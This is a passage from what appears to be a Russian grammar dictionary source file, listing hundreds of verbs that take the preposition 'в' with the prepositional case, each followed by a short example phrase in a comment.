rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
rus_verbs:подразумевать{}, // подразумевать в задании
rus_verbs:ограбить{}, // ограбить в подворотне
rus_verbs:преуспеть{}, // преуспеть в бизнесе
rus_verbs:заерзать{}, // заерзать в кресле
rus_verbs:разъяснить{}, // разъяснить в другой статье
rus_verbs:продвинуться{}, // продвинуться в изучении
rus_verbs:поколебаться{}, // поколебаться в начале
rus_verbs:засомневаться{}, // засомневаться в честности
rus_verbs:приникнуть{}, // приникнуть в уме
rus_verbs:скривить{}, // скривить в усмешке
rus_verbs:рассечь{}, // рассечь в центре опухоли
rus_verbs:перепутать{}, // перепутать в роддоме
rus_verbs:посмеяться{}, // посмеяться в перерыве
rus_verbs:отмечаться{}, // отмечаться в полицейском участке
rus_verbs:накопиться{}, // накопиться в отстойнике
rus_verbs:уносить{}, // уносить в руках
rus_verbs:навещать{}, // навещать в больнице
rus_verbs:остыть{}, // остыть в проточной воде
rus_verbs:запереться{}, // запереться в комнате
rus_verbs:обогнать{}, // обогнать в первом круге
rus_verbs:убеждаться{}, // убеждаться в неизбежности
rus_verbs:подбирать{}, // подбирать в магазине
rus_verbs:уничтожать{}, // уничтожать в полете
rus_verbs:путаться{}, // путаться в показаниях
rus_verbs:притаиться{}, // притаиться в темноте
rus_verbs:проплывать{}, // проплывать в лодке
rus_verbs:засесть{}, // засесть в окопе
rus_verbs:подцепить{}, // подцепить в баре
rus_verbs:насчитать{}, // насчитать в диктанте несколько ошибок
rus_verbs:оправдаться{}, // оправдаться в суде
rus_verbs:созреть{}, // созреть в естественных условиях
rus_verbs:раскрываться{}, // раскрываться в подходящих условиях
rus_verbs:ожидаться{}, // ожидаться в верхней части
rus_verbs:одеваться{}, // одеваться в дорогих бутиках
rus_verbs:упрекнуть{}, // упрекнуть в недостатке опыта
rus_verbs:грабить{}, // грабить в подворотне
rus_verbs:ужинать{}, // ужинать в ресторане
rus_verbs:гонять{}, // гонять в жилах
rus_verbs:уверить{}, // уверить в безопасности
rus_verbs:потеряться{}, // потеряться в лесу
rus_verbs:устанавливаться{}, // устанавливаться в комнате
rus_verbs:предоставлять{}, // предоставлять в суде
rus_verbs:протянуться{}, // протянуться в стене
rus_verbs:допрашивать{}, // допрашивать в бункере
rus_verbs:проработать{}, // проработать в кабинете
rus_verbs:сосредоточить{}, // сосредоточить в своих руках
rus_verbs:утвердить{}, // утвердить в должности
rus_verbs:сочинять{}, // сочинять в дороге
rus_verbs:померкнуть{}, // померкнуть в глазах
rus_verbs:показываться{}, // показываться в окошке
rus_verbs:похудеть{}, // похудеть в талии
rus_verbs:проделывать{}, // проделывать в стене
rus_verbs:прославиться{}, // прославиться в интернете
rus_verbs:сдохнуть{}, // сдохнуть в нищете
rus_verbs:раскинуться{}, // раскинуться в степи
rus_verbs:развить{}, // развить в себе способности
rus_verbs:уставать{}, // уставать в цеху
rus_verbs:укрепить{}, // укрепить в земле
rus_verbs:числиться{}, // числиться в списке
rus_verbs:образовывать{}, // образовывать в смеси
rus_verbs:екнуть{}, // екнуть в груди
rus_verbs:одобрять{}, // одобрять в своей речи
rus_verbs:запить{}, // запить в одиночестве
rus_verbs:забыться{}, // забыться в тяжелом сне
rus_verbs:чернеть{}, // чернеть в кислой среде
rus_verbs:размещаться{}, // размещаться в гараже
rus_verbs:соорудить{}, // соорудить в гараже
rus_verbs:развивать{}, // развивать в себе
rus_verbs:пастись{}, // пастись в пойме
rus_verbs:формироваться{}, // формироваться в верхних слоях атмосферы
rus_verbs:ослабнуть{}, // ослабнуть в сочленении
rus_verbs:таить{}, // таить в себе
инфинитив:пробегать{ вид:несоверш }, глагол:пробегать{ вид:несоверш }, // пробегать в спешке
rus_verbs:приостановиться{}, // приостановиться в конце
rus_verbs:топтаться{}, // топтаться в грязи
rus_verbs:громить{}, // громить в финале
rus_verbs:заменять{}, // заменять в основном составе
rus_verbs:подъезжать{}, // подъезжать в колясках
rus_verbs:вычислить{}, // вычислить в уме
rus_verbs:заказывать{}, // заказывать в магазине
rus_verbs:осуществить{}, // осуществить в реальных условиях
rus_verbs:обосноваться{}, // обосноваться в дупле
rus_verbs:пытать{}, // пытать в камере
rus_verbs:поменять{}, // поменять в магазине
rus_verbs:совершиться{}, // совершиться в суде
rus_verbs:пролетать{}, // пролетать в вертолете
rus_verbs:сбыться{}, // сбыться во сне
rus_verbs:разговориться{}, // разговориться в отделении
rus_verbs:преподнести{}, // преподнести в красивой упаковке
rus_verbs:напечатать{}, // напечатать в типографии
rus_verbs:прорвать{}, // прорвать в центре
rus_verbs:раскачиваться{}, // раскачиваться в кресле
rus_verbs:задерживаться{}, // задерживаться в дверях
rus_verbs:угощать{}, // угощать в кафе
rus_verbs:проступать{}, // проступать в глубине
rus_verbs:шарить{}, // шарить в математике
rus_verbs:увеличивать{}, // увеличивать в конце
rus_verbs:расцвести{}, // расцвести в оранжерее
rus_verbs:закипеть{}, // закипеть в баке
rus_verbs:подлететь{}, // подлететь в вертолете
rus_verbs:рыться{}, // рыться в куче
rus_verbs:пожить{}, // пожить в гостинице
rus_verbs:добираться{}, // добираться в попутном транспорте
rus_verbs:перекрыть{}, // перекрыть в коридоре
rus_verbs:продержаться{}, // продержаться в барокамере
rus_verbs:разыскивать{}, // разыскивать в толпе
rus_verbs:освобождать{}, // освобождать в зале суда
rus_verbs:подметить{}, // подметить в человеке
rus_verbs:передвигаться{}, // передвигаться в узкой юбке
rus_verbs:продумать{}, // продумать в уме
rus_verbs:извиваться{}, // извиваться в траве
rus_verbs:процитировать{}, // процитировать в статье
rus_verbs:прогуливаться{}, // прогуливаться в парке
rus_verbs:защемить{}, // защемить в двери
rus_verbs:увеличиться{}, // увеличиться в объеме
rus_verbs:проявиться{}, // проявиться в результатах
rus_verbs:заскользить{}, // заскользить в ботинках
rus_verbs:пересказать{}, // пересказать в своем выступлении
rus_verbs:протестовать{}, // протестовать в здании парламента
rus_verbs:указываться{}, // указываться в путеводителе
rus_verbs:копошиться{}, // копошиться в песке
rus_verbs:проигнорировать{}, // проигнорировать в своей работе
rus_verbs:купаться{}, // купаться в речке
rus_verbs:подсчитать{}, // подсчитать в уме
rus_verbs:разволноваться{}, // разволноваться в классе
rus_verbs:придумывать{}, // придумывать в своем воображении
rus_verbs:предусмотреть{}, // предусмотреть в программе
rus_verbs:завертеться{}, // завертеться в колесе
rus_verbs:зачерпнуть{}, // зачерпнуть в ручье
rus_verbs:очистить{}, // очистить в химической лаборатории
rus_verbs:прозвенеть{}, // прозвенеть в коридорах
rus_verbs:уменьшиться{}, // уменьшиться в размере
rus_verbs:колыхаться{}, // колыхаться в проточной воде
rus_verbs:ознакомиться{}, // ознакомиться в автобусе
rus_verbs:ржать{}, // ржать в аудитории
rus_verbs:раскинуть{}, // раскинуть в микрорайоне
rus_verbs:разлиться{}, // разлиться в воде
rus_verbs:сквозить{}, // сквозить в словах
rus_verbs:задушить{}, // задушить в объятиях
rus_verbs:осудить{}, // осудить в особом порядке
rus_verbs:разгромить{}, // разгромить в честном поединке
rus_verbs:подслушать{}, // подслушать в кулуарах
rus_verbs:проповедовать{}, // проповедовать в сельских районах
rus_verbs:озарить{}, // озарить во сне
rus_verbs:потирать{}, // потирать в предвкушении
rus_verbs:описываться{}, // описываться в статье
rus_verbs:качаться{}, // качаться в кроватке
rus_verbs:усилить{}, // усилить в центре
rus_verbs:прохаживаться{}, // прохаживаться в новом костюме
rus_verbs:полечить{}, // полечить в больничке
rus_verbs:сниматься{}, // сниматься в римейке
rus_verbs:сыскать{}, // сыскать в наших краях
rus_verbs:поприветствовать{}, // поприветствовать в коридоре
rus_verbs:подтвердиться{}, // подтвердиться в эксперименте
rus_verbs:плескаться{}, // плескаться в теплой водичке
rus_verbs:расширяться{}, // расширяться в первом сегменте
rus_verbs:мерещиться{}, // мерещиться в тумане
rus_verbs:сгущаться{}, // сгущаться в воздухе
rus_verbs:храпеть{}, // храпеть во сне
rus_verbs:подержать{}, // подержать в руках
rus_verbs:накинуться{}, // накинуться в подворотне
rus_verbs:планироваться{}, // планироваться в закрытом режиме
rus_verbs:пробудить{}, // пробудить в себе
rus_verbs:побриться{}, // побриться в ванной
rus_verbs:сгинуть{}, // сгинуть в пучине
rus_verbs:окрестить{}, // окрестить в церкви
инфинитив:резюмировать{ вид:соверш }, глагол:резюмировать{ вид:соверш }, // резюмировать в конце выступления
rus_verbs:замкнуться{}, // замкнуться в себе
rus_verbs:прибавлять{}, // прибавлять в весе
rus_verbs:проплыть{}, // проплыть в лодке
rus_verbs:растворяться{}, // растворяться в тумане
rus_verbs:упрекать{}, // упрекать в небрежности
rus_verbs:затеряться{}, // затеряться в лабиринте
rus_verbs:перечитывать{}, // перечитывать в поезде
rus_verbs:перелететь{}, // перелететь в вертолете
rus_verbs:оживать{}, // оживать в теплой воде
rus_verbs:заглохнуть{}, // заглохнуть в полете
rus_verbs:кольнуть{}, // кольнуть в боку
rus_verbs:копаться{}, // копаться в куче
rus_verbs:развлекаться{}, // развлекаться в клубе
rus_verbs:отливать{}, // отливать в кустах
rus_verbs:зажить{}, // зажить в деревне
rus_verbs:одолжить{}, // одолжить в соседнем кабинете
rus_verbs:заклинать{}, // заклинать в своей речи
rus_verbs:различаться{}, // различаться в мелочах
rus_verbs:печататься{}, // печататься в типографии
rus_verbs:угадываться{}, // угадываться в контурах
rus_verbs:обрывать{}, // обрывать в начале
rus_verbs:поглаживать{}, // поглаживать в кармане
rus_verbs:подписывать{}, // подписывать в присутствии понятых
rus_verbs:добывать{}, // добывать в разломе
rus_verbs:скопиться{}, // скопиться в воротах
rus_verbs:повстречать{}, // повстречать в бане
rus_verbs:совпасть{}, // совпасть в упрощенном виде
rus_verbs:разрываться{}, // разрываться в точке спайки
rus_verbs:улавливать{}, // улавливать в датчике
rus_verbs:повстречаться{}, // повстречаться в лифте
rus_verbs:отразить{}, // отразить в отчете
rus_verbs:пояснять{}, // пояснять в примечаниях
rus_verbs:накормить{}, // накормить в столовке
rus_verbs:поужинать{}, // поужинать в ресторане
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть в суде
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить в молоке
rus_verbs:освоить{}, // освоить в работе
rus_verbs:зародиться{}, // зародиться в голове
rus_verbs:отплыть{}, // отплыть в старой лодке
rus_verbs:отстаивать{}, // отстаивать в суде
rus_verbs:осуждать{}, // осуждать в своем выступлении
rus_verbs:переговорить{}, // переговорить в перерыве
rus_verbs:разгораться{}, // разгораться в сердце
rus_verbs:укрыть{}, // укрыть в шалаше
rus_verbs:томиться{}, // томиться в застенках
rus_verbs:клубиться{}, // клубиться в воздухе
rus_verbs:сжигать{}, // сжигать в топке
rus_verbs:позавтракать{}, // позавтракать в кафешке
rus_verbs:функционировать{}, // функционировать в лабораторных условиях
rus_verbs:смять{}, // смять в руке
rus_verbs:разместить{}, // разместить в интернете
rus_verbs:пронести{}, // пронести в потайном кармане
rus_verbs:руководствоваться{}, // руководствоваться в работе
rus_verbs:нашарить{}, // нашарить в потемках
rus_verbs:закрутить{}, // закрутить в вихре
rus_verbs:просматриваться{}, // просматриваться в дальней перспективе
rus_verbs:распознать{}, // распознать в незнакомце
rus_verbs:повеситься{}, // повеситься в камере
rus_verbs:обшарить{}, // обшарить в поисках наркотиков
rus_verbs:наполняться{}, // наполняется в карьере
rus_verbs:засвистеть{}, // засвистеть в воздухе
rus_verbs:процветать{}, // процветать в мягком климате
rus_verbs:шуршать{}, // шуршать в простенке
rus_verbs:подхватывать{}, // подхватывать в полете
инфинитив:роиться{}, глагол:роиться{}, // роиться в воздухе
прилагательное:роившийся{}, прилагательное:роящийся{},
// деепричастие:роясь{ aux stress="ро^ясь" },
rus_verbs:преобладать{}, // преобладать в тексте
rus_verbs:посветлеть{}, // посветлеть в лице
rus_verbs:игнорировать{}, // игнорировать в рекомендациях
rus_verbs:обсуждаться{}, // обсуждаться в кулуарах
rus_verbs:отказывать{}, // отказывать в визе
rus_verbs:ощупывать{}, // ощупывать в кармане
rus_verbs:разливаться{}, // разливаться в цеху
rus_verbs:расписаться{}, // расписаться в получении
rus_verbs:учинить{}, // учинить в казарме
rus_verbs:плестись{}, // плестись в хвосте
rus_verbs:объявляться{}, // объявляться в группе
rus_verbs:повышаться{}, // повышаться в первой части
rus_verbs:напрягать{}, // напрягать в паху
rus_verbs:разрабатывать{}, // разрабатывать в студии
rus_verbs:хлопотать{}, // хлопотать в мэрии
rus_verbs:прерывать{}, // прерывать в самом начале
rus_verbs:каяться{}, // каяться в грехах
rus_verbs:освоиться{}, // освоиться в кабине
rus_verbs:подплыть{}, // подплыть в лодке
rus_verbs:замигать{}, // замигать в темноте
rus_verbs:оскорблять{}, // оскорблять в выступлении
rus_verbs:торжествовать{}, // торжествовать в душе
rus_verbs:поправлять{}, // поправлять в прологе
rus_verbs:угадывать{}, // угадывать в размытом изображении
rus_verbs:потоптаться{}, // потоптаться в прихожей
rus_verbs:переправиться{}, // переправиться в лодочке
rus_verbs:увериться{}, // увериться в невиновности
rus_verbs:забрезжить{}, // забрезжить в конце тоннеля
rus_verbs:утвердиться{}, // утвердиться во мнении
rus_verbs:завывать{}, // завывать в трубе
rus_verbs:заварить{}, // заварить в заварнике
rus_verbs:скомкать{}, // скомкать в руке
rus_verbs:перемещаться{}, // перемещаться в капсуле
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться в первом поле
rus_verbs:праздновать{}, // праздновать в баре
rus_verbs:мигать{}, // мигать в темноте
rus_verbs:обучить{}, // обучить в мастерской
rus_verbs:орудовать{}, // орудовать в кладовке
rus_verbs:упорствовать{}, // упорствовать в заблуждении
rus_verbs:переминаться{}, // переминаться в прихожей
rus_verbs:подрасти{}, // подрасти в теплице
rus_verbs:предписываться{}, // предписываться в законе
rus_verbs:приписать{}, // приписать в конце
rus_verbs:задаваться{}, // задаваться в своей статье
rus_verbs:чинить{}, // чинить в домашних условиях
rus_verbs:раздеваться{}, // раздеваться в пляжной кабинке
rus_verbs:пообедать{}, // пообедать в ресторанчике
rus_verbs:жрать{}, // жрать в чуланчике
rus_verbs:исполняться{}, // исполняться в антракте
rus_verbs:гнить{}, // гнить в тюрьме
rus_verbs:глодать{}, // глодать в конуре
rus_verbs:прослушать{}, // прослушать в дороге
rus_verbs:истратить{}, // истратить в кабаке
rus_verbs:стареть{}, // стареть в одиночестве
rus_verbs:разжечь{}, // разжечь в сердце
rus_verbs:совещаться{}, // совещаться в кабинете
rus_verbs:покачивать{}, // покачивать в кроватке
rus_verbs:отсидеть{}, // отсидеть в одиночке
rus_verbs:формировать{}, // формировать в умах
rus_verbs:захрапеть{}, // захрапеть во сне
rus_verbs:петься{}, // петься в хоре
rus_verbs:объехать{}, // объехать в автобусе
rus_verbs:поселить{}, // поселить в гостинице
rus_verbs:предаться{}, // предаться в книге
rus_verbs:заворочаться{}, // заворочаться во сне
rus_verbs:напрятать{}, // напрятать в карманах
rus_verbs:очухаться{}, // очухаться в незнакомом месте
rus_verbs:ограничивать{}, // ограничивать в движениях
rus_verbs:завертеть{}, // завертеть в руках
rus_verbs:печатать{}, // печатать в редакторе
rus_verbs:теплиться{}, // теплиться в сердце
rus_verbs:увязнуть{}, // увязнуть в зыбучем песке
rus_verbs:усмотреть{}, // усмотреть в обращении
rus_verbs:отыскаться{}, // отыскаться в запасах
rus_verbs:потушить{}, // потушить в горле огонь
rus_verbs:поубавиться{}, // поубавиться в размере
rus_verbs:зафиксировать{}, // зафиксировать в постоянной памяти
rus_verbs:смыть{}, // смыть в ванной
rus_verbs:заместить{}, // заместить в кресле
rus_verbs:угасать{}, // угасать в одиночестве
rus_verbs:сразить{}, // сразить в споре
rus_verbs:фигурировать{}, // фигурировать в бюллетене
rus_verbs:расплываться{}, // расплываться в глазах
rus_verbs:сосчитать{}, // сосчитать в уме
rus_verbs:сгуститься{}, // сгуститься в воздухе
rus_verbs:цитировать{}, // цитировать в своей статье
rus_verbs:помяться{}, // помяться в давке
rus_verbs:затрагивать{}, // затрагивать в процессе выполнения
rus_verbs:обтереть{}, // обтереть в гараже
rus_verbs:подстрелить{}, // подстрелить в пойме реки
rus_verbs:растереть{}, // растереть в руке
rus_verbs:подавлять{}, // подавлять в зародыше
rus_verbs:смешиваться{}, // смешиваться в чане
инфинитив:вычитать{ вид:соверш }, глагол:вычитать{ вид:соверш }, // вычитать в книжечке
rus_verbs:сократиться{}, // сократиться в обхвате
rus_verbs:занервничать{}, // занервничать в кабинете
rus_verbs:соприкоснуться{}, // соприкоснуться в полете
rus_verbs:обозначить{}, // обозначить в объявлении
rus_verbs:обучаться{}, // обучаться в училище
rus_verbs:снизиться{}, // снизиться в нижних слоях атмосферы
rus_verbs:лелеять{}, // лелеять в сердце
rus_verbs:поддерживаться{}, // поддерживаться в суде
rus_verbs:уплыть{}, // уплыть в лодочке
rus_verbs:резвиться{}, // резвиться в саду
rus_verbs:поерзать{}, // поерзать в гамаке
rus_verbs:оплатить{}, // оплатить в ресторане
rus_verbs:похвастаться{}, // похвастаться в компании
rus_verbs:знакомиться{}, // знакомиться в классе
rus_verbs:приплыть{}, // приплыть в подводной лодке
rus_verbs:зажигать{}, // зажигать в классе
rus_verbs:смыслить{}, // смыслить в математике
rus_verbs:закопать{}, // закопать в огороде
rus_verbs:порхать{}, // порхать в зарослях
rus_verbs:потонуть{}, // потонуть в бумажках
rus_verbs:стирать{}, // стирать в холодной воде
rus_verbs:подстерегать{}, // подстерегать в придорожных кустах
rus_verbs:погулять{}, // погулять в парке
rus_verbs:предвкушать{}, // предвкушать в воображении
rus_verbs:ошеломить{}, // ошеломить в бою
rus_verbs:удостовериться{}, // удостовериться в безопасности
rus_verbs:огласить{}, // огласить в заключительной части
rus_verbs:разбогатеть{}, // разбогатеть в деревне
rus_verbs:грохотать{}, // грохотать в мастерской
rus_verbs:реализоваться{}, // реализоваться в должности
rus_verbs:красть{}, // красть в магазине
rus_verbs:нарваться{}, // нарваться в коридоре
rus_verbs:застывать{}, // застывать в неудобной позе
rus_verbs:толкаться{}, // толкаться в тесной комнате
rus_verbs:извлекать{}, // извлекать в аппарате
rus_verbs:обжигать{}, // обжигать в печи
rus_verbs:запечатлеть{}, // запечатлеть в кинохронике
rus_verbs:тренироваться{}, // тренироваться в зале
rus_verbs:поспорить{}, // поспорить в кабинете
rus_verbs:рыскать{}, // рыскать в лесу
rus_verbs:надрываться{}, // надрываться в шахте
rus_verbs:сняться{}, // сняться в фильме
rus_verbs:закружить{}, // закружить в танце
rus_verbs:затонуть{}, // затонуть в порту
rus_verbs:побыть{}, // побыть в гостях
rus_verbs:почистить{}, // почистить в носу
rus_verbs:сгорбиться{}, // сгорбиться в тесной конуре
rus_verbs:подслушивать{}, // подслушивать в классе
rus_verbs:сгорать{}, // сгорать в танке
rus_verbs:разочароваться{}, // разочароваться в артисте
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать в кустиках
rus_verbs:мять{}, // мять в руках
rus_verbs:подраться{}, // подраться в классе
rus_verbs:замести{}, // замести в прихожей
rus_verbs:откладываться{}, // откладываться в печени
rus_verbs:обозначаться{}, // обозначаться в перечне
rus_verbs:просиживать{}, // просиживать в интернете
rus_verbs:соприкасаться{}, // соприкасаться в точке
rus_verbs:начертить{}, // начертить в тетрадке
rus_verbs:уменьшать{}, // уменьшать в поперечнике
rus_verbs:тормозить{}, // тормозить в облаке
rus_verbs:затевать{}, // затевать в лаборатории
rus_verbs:затопить{}, // затопить в бухте
rus_verbs:задерживать{}, // задерживать в лифте
rus_verbs:прогуляться{}, // прогуляться в лесу
rus_verbs:прорубить{}, // прорубить во льду
rus_verbs:очищать{}, // очищать в кислоте
rus_verbs:полулежать{}, // полулежать в гамаке
rus_verbs:исправить{}, // исправить в задании
rus_verbs:предусматриваться{}, // предусматриваться в постановке задачи
rus_verbs:замучить{}, // замучить в плену
rus_verbs:разрушаться{}, // разрушаться в верхней части
rus_verbs:ерзать{}, // ерзать в кресле
rus_verbs:покопаться{}, // покопаться в залежах
rus_verbs:раскаяться{}, // раскаяться в содеянном
rus_verbs:пробежаться{}, // пробежаться в парке
rus_verbs:полежать{}, // полежать в гамаке
rus_verbs:позаимствовать{}, // позаимствовать в книге
rus_verbs:снижать{}, // снижать в несколько раз
rus_verbs:черпать{}, // черпать в поэзии
rus_verbs:заверять{}, // заверять в своей искренности
rus_verbs:проглядеть{}, // проглядеть в сумерках
rus_verbs:припарковать{}, // припарковать во дворе
rus_verbs:сверлить{}, // сверлить в стене
rus_verbs:здороваться{}, // здороваться в аудитории
rus_verbs:рожать{}, // рожать в воде
rus_verbs:нацарапать{}, // нацарапать в тетрадке
rus_verbs:затопать{}, // затопать в коридоре
rus_verbs:прописать{}, // прописать в правилах
rus_verbs:сориентироваться{}, // сориентироваться в обстоятельствах
rus_verbs:снизить{}, // снизить в несколько раз
rus_verbs:заблуждаться{}, // заблуждаться в своей теории
rus_verbs:откопать{}, // откопать в отвалах
rus_verbs:смастерить{}, // смастерить в лаборатории
rus_verbs:замедлиться{}, // замедлиться в парафине
rus_verbs:избивать{}, // избивать в участке
rus_verbs:мыться{}, // мыться в бане
rus_verbs:сварить{}, // сварить в кастрюльке
rus_verbs:раскопать{}, // раскопать в снегу
rus_verbs:крепиться{}, // крепиться в держателе
rus_verbs:дробить{}, // дробить в мельнице
rus_verbs:попить{}, // попить в ресторанчике
rus_verbs:затронуть{}, // затронуть в душе
rus_verbs:лязгнуть{}, // лязгнуть в тишине
rus_verbs:заправлять{}, // заправлять в полете
rus_verbs:размножаться{}, // размножаться в неволе
rus_verbs:потопить{}, // потопить в Тихом Океане
rus_verbs:кушать{}, // кушать в столовой
rus_verbs:замолкать{}, // замолкать в замешательстве
rus_verbs:измеряться{}, // измеряться в дюймах
rus_verbs:сбываться{}, // сбываться в мечтах
rus_verbs:задернуть{}, // задернуть в комнате
rus_verbs:затихать{}, // затихать в темноте
rus_verbs:прослеживаться{}, // прослеживается в журнале
rus_verbs:прерываться{}, // прерывается в начале
rus_verbs:изображаться{}, // изображается в любых фильмах
rus_verbs:фиксировать{}, // фиксировать в данной точке
rus_verbs:ослаблять{}, // ослаблять в поясе
rus_verbs:зреть{}, // зреть в теплице
rus_verbs:зеленеть{}, // зеленеть в огороде
rus_verbs:критиковать{}, // критиковать в статье
rus_verbs:облететь{}, // облететь в частном вертолете
